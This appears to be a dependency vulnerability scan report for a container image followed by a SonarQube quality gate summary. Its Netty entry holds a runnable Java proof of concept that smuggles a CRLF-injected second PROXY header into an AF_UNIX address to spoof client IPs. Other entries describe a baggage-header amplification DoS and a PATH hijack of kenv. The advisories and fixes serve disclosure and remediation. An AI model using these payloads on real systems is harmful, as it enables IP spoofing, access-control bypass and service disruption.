CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N 2. Affected Components io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439) 3. Vulnerability Description Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header. Root Cause — Encoder // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXT_PREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); // ... out.writeByte((byte) '\r'); out.writeByte((byte) '\n'); } Root Cause — Insufficient Address Validation // HAProxyMessage.java:428-442 private static void checkAddress(String address, AddressFamily addrFamily) { switch (addrFamily) { case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); if (address.getBytes(CharsetUtil.US_ASCII).length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: " + address); } return; // ONLY checks length <= 108, NO CRLF validation! case AF_IPv4: if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF case AF_IPv6: if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF } } IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted. 4. Exploitability Prerequisites This vulnerability is exploitable when: An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers AF_UNIX (UNIX_STREAM or UNIX_DGRAM) addresses contain user-controlled input The encoded PROXY header is sent to a downstream server or load balancer Affected use cases: PROXY protocol relays that construct AF_UNIX messages from upstream data Load balancer integrations where socket paths come from configuration or external sources Multi-tenant proxies that dynamically construct PROXY headers 5. Attack Scenario Client IP Spoofing via Second PROXY Line Injection String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIX_STREAM, maliciousAddr, // CRLF-injected source address "/var/run/dest.sock", 0, 0); Wire format sent to backend: PROXY UNIX_STREAM /var/run/app.sock PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0 The backend receives two PROXY lines. Depending on implementation: HAProxy: may use the first line and ignore the second Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1 This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not 6. Proof of Concept Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java) import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.haproxy.*; import java.nio.charset.StandardCharsets; public class HAProxyUnixCRLFPoC { public static void main(String[] args) { System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n"); String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; String destAddr = "/var/run/dest.sock"; HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIX_STREAM, maliciousAddr, destAddr, 0, 0); EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE); ch.writeOutbound(msg); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF_8); out.release(); ch.finishAndReleaseAll(); System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } int proxyCount = 0; for (String line : encoded.split("\r\n")) { if (line.startsWith("PROXY")) proxyCount++; } System.out.println("PROXY lines: " + proxyCount); System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO")); } } How to Compile and Run JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC PoC Execution Output (Verified on Netty 4.2.12.Final) === Netty HAProxy AF_UNIX CRLF Injection PoC === [TEST 1] AF_UNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIX_STREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected! 7. Remediation Recommendations Option 1: Validate AF_UNIX Addresses for CRLF // HAProxyMessage.java checkAddress() - add for AF_UNIX: case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AF_UNIX address contains prohibited CRLF character"); } } return; Option 2: Validate in Encoder // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } } 8. References HAProxy PROXY Protocol v1 Specification CWE-93: Improper Neutralization of CRLF Sequences GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)

musl 1.2.5-r21 (apk) pkg:apk/alpine/musl@1.2.5-r21?os_name=alpine&os_version=3.23 Affected range <1.2.5-r23 Fixed version 1.2.5-r23 EPSS Score 0.128% EPSS Percentile 3rd percentile Description Affected range <1.2.5-r22 Fixed version 1.2.5-r22 EPSS Score 0.227% EPSS Percentile 14th percentile Description

org.codehaus.plexus/plexus-utils 3.5.1 (maven) pkg:maven/org.codehaus.plexus/plexus-utils@3.5.1 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <3.6.1 Fixed version 4.0.3 EPSS Score 0.663% EPSS Percentile 48th percentile Description Directory Traversal vulnerability in the extractFile method of org.codehaus.plexus.util.Expand in plexus-utils before 6d780b3378829318ba5c2d29547e0012d5b29642. This allows an attacker to execute arbitrary code

go.opentelemetry.io/otel 1.40.0 (golang) pkg:golang/go.opentelemetry.io/otel@1.40.0 Uncontrolled Resource Consumption Affected range >=1.36.0 <=1.40.0 Fixed version 1.41.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.435% EPSS Percentile 36th percentile Description multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit. severity HIGH (availability / remote request amplification) relevant links repository: https://github.com/open-telemetry/opentelemetry-go pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58 vulnerability details pins: open-telemetry/opentelemetry-go@1ee4a41 as-of: 2026-02-04 policy: direct (no program scope provided) callsite: propagation/baggage.go:58 (extractMultiBaggage) attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation root cause extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit). impact in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency. example from the attached PoC harness (darwin/arm64; 80 values; 40 requests): canonical: per_req_alloc_bytes=10315458 and p95_ms=7 control: per_req_alloc_bytes=133429 and p95_ms=0 proof of concept canonical: mkdir -p poc unzip poc.zip -d poc cd poc make test output (excerpt): [CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage [PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165 control: cd poc make control control output (excerpt): [NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480 expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget. actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes. fix recommendation avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total). fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for per_req_alloc_bytes and per_req_allocs, and p95_ms stays below 2ms. poc.zip PR_DESCRIPTION.md

go.opentelemetry.io/otel/sdk 1.40.0 (golang) pkg:golang/go.opentelemetry.io/otel/sdk@1.40.0 Untrusted Search Path Affected range >=1.15.0 <=1.42.0 Fixed version 1.43.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.220% EPSS Percentile 13th percentile Description Summary The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. Root Cause sdk/resource/host_id.go line 42: if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil { Compare with the fixed Darwin path at line 58: result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice") The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator. Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris. The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems. Attack Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk Attacker places a malicious kenv binary earlier in $PATH Application initializes OpenTelemetry resource detection at startup hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary Arbitrary code executes in the context of the application Same attack vector and impact as CVE-2026-24051. Suggested Fix Use the absolute path: if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil { On FreeBSD, kenv is located at /bin/kenv.

libxml2 2.13.9-r0 (apk) pkg:apk/alpine/libxml2@2.13.9-r0?os_name=alpine&os_version=3.23 Affected range <2.13.9-r1 Fixed version 2.13.9-r1 EPSS Score 0.632% EPSS Percentile 47th percentile Description Affected range <=2.13.9-r0 Fixed version Not Fixed EPSS Score 0.419% EPSS Percentile 34th percentile Description Affected range <=2.13.9-r0 Fixed version Not Fixed EPSS Score 0.202% EPSS Percentile 10th percentile Description Affected range <=2.13.9-r0 Fixed version Not Fixed EPSS Score 0.148% EPSS Percentile 4th percentile Description

zlib 1.3.1-r2 (apk) pkg:apk/alpine/zlib@1.3.1-r2?os_name=alpine&os_version=3.23 Affected range <1.3.2-r0 Fixed version 1.3.2-r0 EPSS Score 0.381% EPSS Percentile 31st percentile Description Affected range <1.3.2-r0 Fixed version 1.3.2-r0 EPSS Score 0.204% EPSS Percentile 11th percentile Description

busybox 1.37.0-r30 (apk) pkg:apk/alpine/busybox@1.37.0-r30?os_name=alpine&os_version=3.23 Affected range <=1.37.0-r30 Fixed version Not Fixed EPSS Score 0.285% EPSS Percentile 21st percentile Description

commons-lang/commons-lang 2.6 (maven) pkg:maven/commons-lang/commons-lang@2.6 Uncontrolled Recursion Affected range >=2.0 <=2.6 Fixed version Not Fixed CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N EPSS Score 2.164% EPSS Percentile 80th percentile Description Uncontrolled Recursion vulnerability in Apache Commons Lang. This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. Users are recommended to upgrade to version 3.18.0, which fixes the issue.

golang.org/x/sys 0.41.0 (golang) pkg:golang/golang.org/x/sys@0.41.0 Affected range <0.44.0 Fixed version 0.44.0 EPSS Score 0.114% EPSS Percentile 2nd percentile Description NewNTUnicodeString does not check for string length overflow. When provided with a string that overflows the maximum size of a NTUnicodeString (a 16-bit number of bytes), it returns a truncated string rather than an error.

xz 5.8.2-r0 (apk) pkg:apk/alpine/xz@5.8.2-r0?os_name=alpine&os_version=3.23 Affected range <5.8.3-r0 Fixed version 5.8.3-r0 EPSS Score 0.351% EPSS Percentile 28th percentile Description

golang.org/x/text 0.24.0 (golang) pkg:golang/golang.org/x/text@0.24.0 Affected range <0.39.0 Fixed version 0.39.0 EPSS Score 0.222% EPSS Percentile 13th percentile Description A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.

golang.org/x/text 0.33.0 (golang) pkg:golang/golang.org/x/text@0.33.0 Affected range <0.39.0 Fixed version 0.39.0 EPSS Score 0.222% EPSS Percentile 13th percentile Description A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud